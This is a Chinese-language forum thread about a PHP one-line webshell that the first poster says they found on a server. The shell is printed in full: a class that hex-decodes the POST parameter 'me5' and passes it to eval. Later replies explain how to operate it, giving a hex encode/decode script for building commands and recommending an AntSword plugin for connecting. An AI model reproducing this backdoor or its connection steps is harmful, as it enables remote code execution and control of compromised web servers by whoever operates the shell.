导航

服务器捡到一个一句话 来看看怎么连接

#1
<?php
class Test{
static public $true;
static public $false;

public function hashs($hash){
$str="";
for($i=0;$i<strlen($hash)-1;$i+=2)
$str.=chr(hexdec($hash[$i].$hash[$i+1]));
return $str;
}

public function __sleep(){
$str = 'b=Base64_';
parse_str($str);
$b = $b.'DecoDe';
self::$true = $b;
self::$false = $this->hashs($_POST['me5']);
eval((self::$false));
return array();
}

}
$test= new Test();
serialize($test);
?>


今天偶然在服务器看到的 密码不是me5么 怎么连接不上呢


PHP 版本5.6
2022-02-20
#2
传输数据要使用和他马的解密方式对应才行
2022-02-20
#3
回复 2# 你相信光吗

是啊
不会编写解码器
2022-02-21
#4
,我只知道怎么执行代码,能力有限,不会写解码器
2022-02-21
#5
其实就是字符转16进制
2022-02-21
#6
<?php
class Test {
  /**
   *字符串转十六进制函数
   *@pream string $str='abc';
   */
  public function strToHex($str) {
    $hex = "";
    for ($i = 0;$i < strlen($str);$i++) $hex.= dechex(ord($str[$i]));
    $hex = strtoupper($hex);
    return $hex;
  }
  /**
   *十六进制转字符串函数
   *@pream string $hex='616263';
   */
  public function hexToStr($hex) {
    $str = "";
    for ($i = 0;$i < strlen($hex) - 1;$i+= 2) $str.= chr(hexdec($hex[$i] . $hex[$i + 1]));
    return $str;
  }
}
$test = new Test();
$str = '要加密的内容';
$data = $test->strToHex($str);
echo '加密内容: <br>' . $data . '<hr>';
$output = $test->hexToStr($data);
echo '解密内容: <br>' . $output;
?>
可以使用此脚本转换需要提交的参数,我也不太懂,拿你给的代码中那段加密内容搜了下,就找到了答案,加解密脚本也来自互联网
2022-02-21
#7
回复 5# noth1ng


谢谢老哥哈 知道了
2022-02-22
#8
回复 7# network



    不用谢,hex编码,蚁剑应该有相关的插件,直接用即可